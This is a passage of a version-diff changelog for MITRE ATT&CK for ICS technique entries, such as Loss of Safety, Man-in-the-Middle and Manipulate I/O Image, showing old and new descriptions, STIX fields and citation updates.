Pierluigi June 2020) The company announced the potential for temporary shortages of their products following the attack. (Citation: Paganini, Pierluigi June 2020) (Citation: Lion Corporation June 2020) In the 2021 Colonial Pipeline ransomware incident, the pipeline was unable to transport approximately 2.5 million barrels of fuel per day to the East Coast. (Citation: Colonial Pipeline Company May 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T828 | https://attack.mitre.org/techniques/T0828 |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Paganini, Pierluigi June 2020', 'description': 'Paganini, Pierluigi 2020, June 14 Ransomware attack disrupts operations at Australian beverage company Lion Retrieved. 2021/10/08 ', 'url': 'https://securityaffairs.co/wordpress/104749/cyber-crime/ransomware-attack-hit-lion.html'} | |
| external_references | {'source_name': 'Paganini, Pierluigi June 2020', 'description': 'Paganini, Pierluigi 2020, June 14 Ransomware attack disrupts operations at Australian beverage company Lion Retrieved. 2021/10/08 ', 'url': 'https://securityaffairs.co/wordpress/104749/cyber-crime/ransomware-attack-hit-lion.html'} | |
| external_references | {'source_name': 'Lion Corporation June 2020', 'description': 'Lion Corporation 2020, June 26 Lion Cyber incident update: 26 June 2020 Retrieved. 2021/10/08 ', 'url': 'https://lionco.com/2020/06/26/lion-update-re-cyber-issue/'} | |
| external_references | {'source_name': 'Colonial Pipeline Company May 2021', 'description': 'Colonial Pipeline Company 2021, May Media Statement Update: Colonial Pipeline System Disruption Retrieved. 2021/10/08 ', 'url': 'https://www.colpipe.com/news/press-releases/media-statement-colonial-pipeline-system-disruption'} |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may cause loss of safety whether on purpose or a | t | 1 | Adversaries may compromise safety system functions designed |
| > | s a consequence of actions taken to accomplish an operation. | > | to maintain safe operation of a process when unacceptable or | ||
| > | The loss of safety can describe a physical impact and threa | > | dangerous conditions occur. Safety systems are often compos | ||
| > | t, or the potential for unsafe conditions and activity in te | > | ed of the same elements as control systems but have the sole | ||
| > | rms of control systems environments, devices, or processes. | > | purpose of ensuring the process fails in a predetermined sa | ||
| > | For instance, an adversary may issue commands or influence a | > | fe manner. Many unsafe conditions in process control happen | ||
| > | nd possibly inhibit safety mechanisms that allow the injury | > | too quickly for a human operator to react to. Speed is crit | ||
| > | of and possible loss of life. This can also encompass scenar | > | ical in correcting these conditions to limit serious impacts | ||
| > | ios resulting in the failure of a safety mechanism or contro | > | such as Loss of Control and Property Damage. Adversaries m | ||
| > | l, that may lead to unsafe and dangerous execution and outco | > | ay target and disable safety system functions as a prerequis | ||
| > | mes of physical processes and related systems. (Citation: Re | > | ite to subsequent attack execution or to allow for future un | ||
| > | ference - Corero) (Citation: Reference - SANS - 201510) (Cit | > | safe conditionals to go unchecked. Detection of a Loss of Sa | ||
| > | ation: Reference - RIoT) The German Federal Office for Info | > | fety by operators can result in the shutdown of a process du | ||
| > | rmation Security (BSI) reported a targeted attack on a steel | > | e to strict policies regarding safety systems. This can caus | ||
| > | mill in its 2014 IT Security Report. (Citation: German Stee | > | e a Loss of Productivity and Revenue and may meet the techni | ||
| > | l Mill - German Federal Office for Information Security - 20 | > | cal goals of adversaries seeking to cause process disruption | ||
| > | 14) These targeted attacks affected industrial operations an | > | s. | ||
| > | d resulted in breakdowns of control system components and ev | ||||
| > | en entire installations. As a result of these breakdowns, ma | ||||
| > | ssive impact resulted in damage and unsafe conditions from t | ||||
| > | he uncontrolled shutdown of a blast furnace. A Polish stud | ||||
| > | ent used a remote controller device to interface with the Lo | ||||
| > | dz city tram system in Poland. (Citation: LodzTram-LondonRec | ||||
| > | onnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2 | ||||
| > | 008-02) (Citation: LodzTram-Schneier-2008-01) Using this rem | ||||
| > | ote, the student was able to capture and replay legitimate t | ||||
| > | ram signals. As a consequence, four trams were derailed and | ||||
| > | twelve people injured due to resulting emergency stops. (Cit | ||||
| > | ation: LodzTram-InHomelandSecurity-2008-02) The track contro | ||||
| > | lling commands issued may have also resulted in tram collisi | ||||
| > | ons, a further risk to those on board and nearby the areas o | ||||
| > | f impact. (Citation: LodzTram-Schneier-2008-01) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.939000+00:00 |
| description | Adversaries may cause loss of safety whether on purpose or as a consequence of actions taken to accomplish an operation. The loss of safety can describe a physical impact and threat, or the potential for unsafe conditions and activity in terms of control systems environments, devices, or processes. For instance, an adversary may issue commands or influence and possibly inhibit safety mechanisms that allow the injury of and possible loss of life. This can also encompass scenarios resulting in the failure of a safety mechanism or control, that may lead to unsafe and dangerous execution and outcomes of physical processes and related systems. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report. (Citation: German Steel Mill - German Federal Office for Information Security - 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) (Citation: LodzTram-Schneier-2008-01) Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops. (Citation: LodzTram-InHomelandSecurity-2008-02) The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact. (Citation: LodzTram-Schneier-2008-01) | Adversaries may compromise safety system functions designed to maintain safe operation of a process when unacceptable or dangerous conditions occur. Safety systems are often composed of the same elements as control systems but have the sole purpose of ensuring the process fails in a predetermined safe manner. Many unsafe conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable safety system functions as a prerequisite to subsequent attack execution or to allow for future unsafe conditionals to go unchecked. Detection of a Loss of Safety by operators can result in the shutdown of a process due to strict policies regarding safety systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T880 | https://attack.mitre.org/techniques/T0880 |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'LodzTram-LondonReconnections-2017-12', 'description': 'John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'} | |
| external_references | {'source_name': 'LodzTram-InHomelandSecurity-2008-02', 'description': 'Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', 'url': 'https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/'} | |
| external_references | {'source_name': 'LodzTram-Schneier-2008-01', 'description': 'Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html'} | |
| external_references | {'source_name': 'German Steel Mill - German Federal Office for Information Security - 2014', 'description': 'Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019.', 'url': 'https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?%20blob=publicationFile&v=3'} | |
| external_references | {'source_name': 'Reference - Corero', 'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'} | |
| external_references | {'source_name': 'Reference - SANS - 201510', 'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'} | |
| external_references | {'source_name': 'Reference - RIoT', 'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.'} |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may cause a sustained or permanent loss of view | t | 1 | Adversaries may cause a sustained or permanent loss of view |
| > | where the ICS equipment will require local, hands-on operato | > | where the ICS equipment will require local, hands-on operato | ||
| > | r intervention; for instance, a restart or manual operation. | > | r intervention; for instance, a restart or manual operation. | ||
| > | By causing a sustained reporting or visibility loss, the ad | > | By causing a sustained reporting or visibility loss, the ad | ||
| > | versary can effectively hide the present state of operations | > | versary can effectively hide the present state of operations | ||
| > | . This loss of view can occur without affecting the physical | > | . This loss of view can occur without affecting the physical | ||
| > | processes themselves. (Citation: Reference - Corero) (Citat | > | processes themselves. (Citation: Corero) (Citation: Michael | ||
| > | ion: Reference - SANS - 201510) (Citation: Reference - RIoT) | > | J. Assante and Robert M. Lee) (Citation: Tyson Macaulay) | ||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 | |
| external_references | https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.940000+00:00 |
| description | Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) | Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T829 | https://attack.mitre.org/techniques/T0829 |
| external_references[1]['source_name'] | Reference - Corero | Corero |
| external_references[1]['description'] | Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019. | Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 |
| external_references[1]['url'] | https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf | https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf |
| external_references[2]['source_name'] | Reference - SANS - 201510 | Michael J. Assante and Robert M. Lee |
| external_references[2]['description'] | Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019. | Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 |
| external_references[3]['source_name'] | Reference - RIoT | Tyson Macaulay |
| external_references[3]['description'] | Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019. | Tyson Macaulay Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 RIoT Control: Understanding and Managing Risks and the Internet of Things Retrieved. 2019/11/04 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries with privileged network access may seek to modif | t | 1 | Adversaries with privileged network access may seek to modif |
| > | y network traffic in real time using man-in-the-middle (MITM | > | y network traffic in real time using man-in-the-middle (MITM | ||
| > | ) attacks. (Citation: Reference - SANS - 201710) This type o | > | ) attacks. (Citation: Gabriel Sanchez October 2017) This typ | ||
| > | f attack allows the adversary to intercept traffic to and/or | > | e of attack allows the adversary to intercept traffic to and | ||
| > | from a particular device on the network. If a MITM attack i | > | /or from a particular device on the network. If a MITM attac | ||
| > | s established, then the adversary has the ability to block, | > | k is established, then the adversary has the ability to bloc | ||
| > | log, modify, or inject traffic into the communication stream | > | k, log, modify, or inject traffic into the communication str | ||
| > | . There are several ways to accomplish this attack, but some | > | eam. There are several ways to accomplish this attack, but s | ||
| > | of the most-common are Address Resolution Protocol (ARP) po | > | ome of the most-common are Address Resolution Protocol (ARP) | ||
| > | isoning and the use of a proxy. (Citation: Research - Resear | > | poisoning and the use of a proxy. (Citation: Bonnie Zhu, An | ||
| > | ch - Taxonomy Cyber Attacks on SCADA) A M | > | thony Joseph, Shankar Sastry 2011) A MITM attack may allo | ||
| > | ITM attack may allow an adversary to perform the following a | > | w an adversary to perform the following attacks: [Block Re | ||
| > | ttacks: Block Reporting Message, Spoof Reporting Message, | > | porting Message](https://attack.mitre.org/techniques/T0804), | ||
| > | Modify Parameter, Unauthorized Command Message | > | [Spoof Reporting Message](https://attack.mitre.org/techniqu | ||
| > | es/T0856), [Modify Parameter](https://attack.mitre.org/techn | ||||
| > | iques/T0836), [Unauthorized Command Message](https://attack. | ||||
| > | mitre.org/techniques/T0855) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_detection | ||
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_is_subtechnique | False | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-24 19:32:27.175000+00:00 |
| description | Adversaries with privileged network access may seek to modify network traffic in real time using man-in-the-middle (MITM) attacks. (Citation: Reference - SANS - 201710) This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a MITM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) A MITM attack may allow an adversary to perform the following attacks: Block Reporting Message, Spoof Reporting Message, Modify Parameter, Unauthorized Command Message | Adversaries with privileged network access may seek to modify network traffic in real time using man-in-the-middle (MITM) attacks. (Citation: Gabriel Sanchez October 2017) This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a MITM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011) A MITM attack may allow an adversary to perform the following attacks: [Block Reporting Message](https://attack.mitre.org/techniques/T0804), [Spoof Reporting Message](https://attack.mitre.org/techniques/T0856), [Modify Parameter](https://attack.mitre.org/techniques/T0836), [Unauthorized Command Message](https://attack.mitre.org/techniques/T0855) |
| kill_chain_phases[0]['phase_name'] | execution-ics | collection-ics |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T830 | https://attack.mitre.org/techniques/T0830 |
| external_references[1]['source_name'] | Research - Research - Taxonomy Cyber Attacks on SCADA | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 |
| external_references[1]['description'] | Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018. | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 A Taxonomy of Cyber Attacks on SCADA Systems Retrieved. 2018/01/12 |
| external_references[2]['source_name'] | Reference - SANS - 201710 | Gabriel Sanchez October 2017 |
| external_references[2]['description'] | Gabriel Sanchez. (2017, October). Man-In-The-Middle Attack Against Modbus TCP Illustrated with Wireshark. Retrieved January 5, 2020. | Gabriel Sanchez 2017, October Man-In-The-Middle Attack Against Modbus TCP Illustrated with Wireshark Retrieved. 2020/01/05 |
| x_mitre_data_sources[0] | Network device logs | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Packet capture | Process: OS API Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate the I/O image of PLCs through var | t | 1 | Adversaries may manipulate the I/O image of PLCs through var |
| > | ious means to prevent them from functioning as expected. Met | > | ious means to prevent them from functioning as expected. Met | ||
| > | hods of I/O image manipulation may include overriding the I/ | > | hods of I/O image manipulation may include overriding the I/ | ||
| > | O table via direct memory manipulation or using the override | > | O table via direct memory manipulation or using the override | ||
| > | function used for testing PLC programs. (Citation: Guidance | > | function used for testing PLC programs. (Citation: Dr. Kelv | ||
| > | - ISA PLC) During the PLC scan cycle, the state of the a | > | in T. Erickson December 2010) During the scan cycle, a PLC r | ||
| > | ctual physical inputs is copied to a portion of the PLC memo | > | eads the status of all inputs and stores them in an image ta | ||
| > | ry, commonly called the input image table. When the program | > | ble. (Citation: Nanjundaiah, Vaidyanath) The image table is | ||
| > | is scanned, it examines the input image table to read the st | > | the PLCs internal storage location where values of inputs/ou | ||
| > | ate of a physical input. When the logic determines the sta | > | tputs for one scan are stored while it executes the user pro | ||
| > | te of a physical output, it writes to a portion of the PLC m | > | gram. After the PLC has solved the entire logic program, it | ||
| > | emory commonly called the output image table. The output ima | > | updates the output image table. The contents of this output | ||
| > | ge may also be examined during the program scan. To update t | > | image table are written to the corresponding output points i | ||
| > | he physical outputs, the output image table contents are cop | > | n I/O Modules. One of the unique characteristics of PLCs is | ||
| > | ied to the physical outputs after the program is scanned. O | > | their ability to override the status of a physical discrete | ||
| > | ne of the unique characteristics of PLCs is their ability to | > | input or to override the logic driving a physical output co | ||
| > | override the status of a physical discrete input or to over | > | il and force the output to a desired status. | ||
| > | ride the logic driving a physical output coil and force the | ||||
| > | output to a desired status. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.943000+00:00 |
| description | Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Guidance - ISA PLC) During the PLC scan cycle, the state of the actual physical inputs is copied to a portion of the PLC memory, commonly called the input image table. When the program is scanned, it examines the input image table to read the state of a physical input. When the logic determines the state of a physical output, it writes to a portion of the PLC memory commonly called the output image table. The output image may also be examined during the program scan. To update the physical outputs, the output image table contents are copied to the physical outputs after the program is scanned. One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status. | Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Dr. Kelvin T. Erickson December 2010) During the scan cycle, a PLC reads the status of all inputs and stores them in an image table. (Citation: Nanjundaiah, Vaidyanath) The image table is the PLCs internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules. One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T835 | https://attack.mitre.org/techniques/T0835 |
| external_references[1]['source_name'] | Guidance - ISA PLC | Dr. Kelvin T. Erickson December 2010 |
| external_references[1]['description'] | Dr. Kelvin T. Erickson. (2010, December). Programmable logic controller hardware. Retrieved March 29, 2018. | Dr. Kelvin T. Erickson 2010, December Programmable logic controller hardware Retrieved. 2018/03/29 |
| x_mitre_data_sources[0] | Controller program | Operational Databases: Process History/Live Data |
| x_mitre_data_sources[1] | Process monitoring | Operational Databases: Device Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Nanjundaiah, Vaidyanath', 'description': 'Nanjundaiah, Vaidyanath Dr. Kelvin T. Erickson 2010, December Programmable logic controller hardware Retrieved. 2018/03/29 PLC Ladder Logic Basics Retrieved. 2021/10/11 ', 'url': 'https://www.ezautomation.net/industry-articles/plc-ladder-logic-basics.htm'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate physical process control within t | t | 1 | Adversaries may manipulate physical process control within t |
| > | he industrial environment. Methods of manipulating control c | > | he industrial environment. Methods of manipulating control c | ||
| > | an include changes to set point values, tags, or other param | > | an include changes to set point values, tags, or other param | ||
| > | eters. Adversaries may manipulate control systems devices or | > | eters. Adversaries may manipulate control systems devices or | ||
| > | possibly leverage their own, to communicate with and comman | > | possibly leverage their own, to communicate with and comman | ||
| > | d physical control processes. The duration of manipulation m | > | d physical control processes. The duration of manipulation m | ||
| > | ay be temporary or longer sustained, depending on operator d | > | ay be temporary or longer sustained, depending on operator d | ||
| > | etection. Methods of Manipulation of Control include: * Ma | > | etection. Methods of Manipulation of Control include: | ||
| > | n-in-the-middle * Spoof command message * Changing setpoint | > | * Man-in-the-middle * Spoof command message * Changing se | ||
| > | s | > | tpoints A Polish student used a remote controller device | ||
| > | to interface with the Lodz city tram system in Poland. (Cita | ||||
| > | tion: John Bill May 2017) (Citation: Shelley Smith February | ||||
| > | 2008) (Citation: Bruce Schneier January 2008) Using this rem | ||||
| > | ote, the student was able to capture and replay legitimate t | ||||
| > | ram signals. As a consequence, four trams were derailed and | ||||
| > | twelve people injured due to resulting emergency stops. (Cit | ||||
| > | ation: Shelley Smith February 2008) The track controlling co | ||||
| > | mmands issued may have also resulted in tram collisions, a f | ||||
| > | urther risk to those on board and nearby the areas of impact | ||||
| > | . (Citation: Bruce Schneier January 2008) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_detection | ||
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_is_subtechnique | False | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-24 14:57:44.326000+00:00 |
| description | Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: * Man-in-the-middle * Spoof command message * Changing setpoints | Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: * Man-in-the-middle * Spoof command message * Changing setpoints A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. (Citation: John Bill May 2017) (Citation: Shelley Smith February 2008) (Citation: Bruce Schneier January 2008) Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops. (Citation: Shelley Smith February 2008) The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact. (Citation: Bruce Schneier January 2008) |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T831 | https://attack.mitre.org/techniques/T0831 |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Bruce Schneier January 2008', 'description': 'Bruce Schneier 2008, January 17 Hacking Polish Trams Retrieved. 2019/10/17 ', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html'} | |
| external_references | {'source_name': 'John Bill May 2017', 'description': 'John Bill 2017, May 12 Hacked Cyber Security Railways Retrieved. 2019/10/17 ', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'} | |
| external_references | {'source_name': 'Shelley Smith February 2008', 'description': 'Shelley Smith 2008, February 12 Teen Hacker in Poland Plays Trains and Derails City Tram System Retrieved. 2019/10/17 ', 'url': 'https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/'} |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to manipulate the information report | t | 1 | Adversaries may attempt to manipulate the information report |
| > | ed back to operators or controllers. This manipulation may b | > | ed back to operators or controllers. This manipulation may b | ||
| > | e short term or sustained. During this time the process itse | > | e short term or sustained. During this time the process itse | ||
| > | lf could be in a much different state than what is reported. | > | lf could be in a much different state than what is reported. | ||
| > | (Citation: Reference - Corero) (Citation: Reference - SANS | > | (Citation: Corero) (Citation: Michael J. Assante and Robert | ||
| > | - 201510) (Citation: Reference - RIoT) Operators may be fo | > | M. Lee) (Citation: Tyson Macaulay) Operators may be foole | ||
| > | oled into doing something that is harmful to the system in a | > | d into doing something that is harmful to the system in a lo | ||
| > | loss of view situation. With a manipulated view into the sy | > | ss of view situation. With a manipulated view into the syste | ||
| > | stems, operators may issue inappropriate control sequences t | > | ms, operators may issue inappropriate control sequences that | ||
| > | hat introduce faults or catastrophic failures into the syste | > | introduce faults or catastrophic failures into the system. | ||
| > | m. Business analysis systems can also be provided with inacc | > | Business analysis systems can also be provided with inaccura | ||
| > | urate data leading to bad management decisions. | > | te data leading to bad management decisions. | ||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 | |
| external_references | https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.947000+00:00 |
| description | Adversaries may attempt to manipulate the information reported back to operators or controllers. This manipulation may be short term or sustained. During this time the process itself could be in a much different state than what is reported. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) Operators may be fooled into doing something that is harmful to the system in a loss of view situation. With a manipulated view into the systems, operators may issue inappropriate control sequences that introduce faults or catastrophic failures into the system. Business analysis systems can also be provided with inaccurate data leading to bad management decisions. | Adversaries may attempt to manipulate the information reported back to operators or controllers. This manipulation may be short term or sustained. During this time the process itself could be in a much different state than what is reported. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay) Operators may be fooled into doing something that is harmful to the system in a loss of view situation. With a manipulated view into the systems, operators may issue inappropriate control sequences that introduce faults or catastrophic failures into the system. Business analysis systems can also be provided with inaccurate data leading to bad management decisions. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T832 | https://attack.mitre.org/techniques/T0832 |
| external_references[1]['source_name'] | Reference - Corero | Corero |
| external_references[1]['description'] | Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019. | Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 |
| external_references[1]['url'] | https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf | https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf |
| external_references[2]['source_name'] | Reference - SANS - 201510 | Michael J. Assante and Robert M. Lee |
